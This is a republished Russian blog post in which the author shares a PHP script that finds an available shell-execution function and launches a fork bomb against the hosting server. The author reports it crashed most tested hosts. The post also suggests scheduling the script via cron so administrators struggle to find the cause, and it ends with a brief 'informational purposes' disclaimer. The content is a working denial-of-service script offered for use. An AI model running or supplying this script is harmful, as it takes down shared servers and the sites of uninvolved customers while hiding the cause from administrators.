- PVSM.RU - https://www.pvsm.ru -
Здравствуйте, уважаемые хабра-пользователи. Довольно давно я написал PHP скрипт — fork-бомбу [1] и начал его тестировать на различных серверах/хостингах. На моё удивление, скрипт работал на 90% протестированных мною компаний. Я отписал об этой баге во многие компании, но прошло уже много времени, а она до сих пор актуальна.
Для начала, мы проверяем, какие из нужных нам функций доступны на сервере. Всего их 5:
exec [2], shell_exec [3], system [4], is_resource [5], passthru [6].
Описывать каждую функцию я не буду, если Вам интересно, я оставил ссылки на них.
Далее мы просто выполняем форк-запрос через функцию, и если сервер уязвим, то ему поможет только перезагрузка.
Мало того, что скрипт вешает сервер, его можно поставить по крону и неопытный администратор будет долго искать причину, почему его сервер падает сразу после загрузки. Опытным это проблем не доставит, но все же не приятно.
//Функция тестирования
function TestFunc($in)
{
$out = '';
if (function_exists('exec'))
{
@exec($in, $out);
$out = @join("n", $out);
}
elseif (function_exists('shell_exec'))
{
$out = shell_exec($in);
}
elseif (function_exists('system'))
{
ob_start();
@system($in);
$out = ob_get_clean();
}
elseif (is_resource($f = @popen($in, "r")))
{
$out = "";
while (!@feof($f))
$out .= fread($f, 1024);
pclose($f);
}
elseif (function_exists('passthru'))
{
ob_start();
@passthru($in);
$out = ob_get_clean();
}
return $out;
}
echo TestFunc("echo '. ./_&. ./_&'>_;. ./_"); //Выполнение форка
Внимание, Все операции вы выполняете на свой страх и риск! Статья написана для ознакомительных целей.
Автор: AlexanderPHP
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/php-2/3411
Ссылки в тексте:
[1] fork-бомбу: http://ru.wikipedia.org/wiki/Fork_bomb
[2] exec: http://www.php.su/functions/?exec
[3] shell_exec: http://www.php.su/functions/?shell_exec
[4] system: http://www.php.su/functions/?system
[5] is_resource: http://www.php.su/functions/?is_resource
[6] passthru: http://www.php.su/functions/?passthru
Нажмите здесь для печати.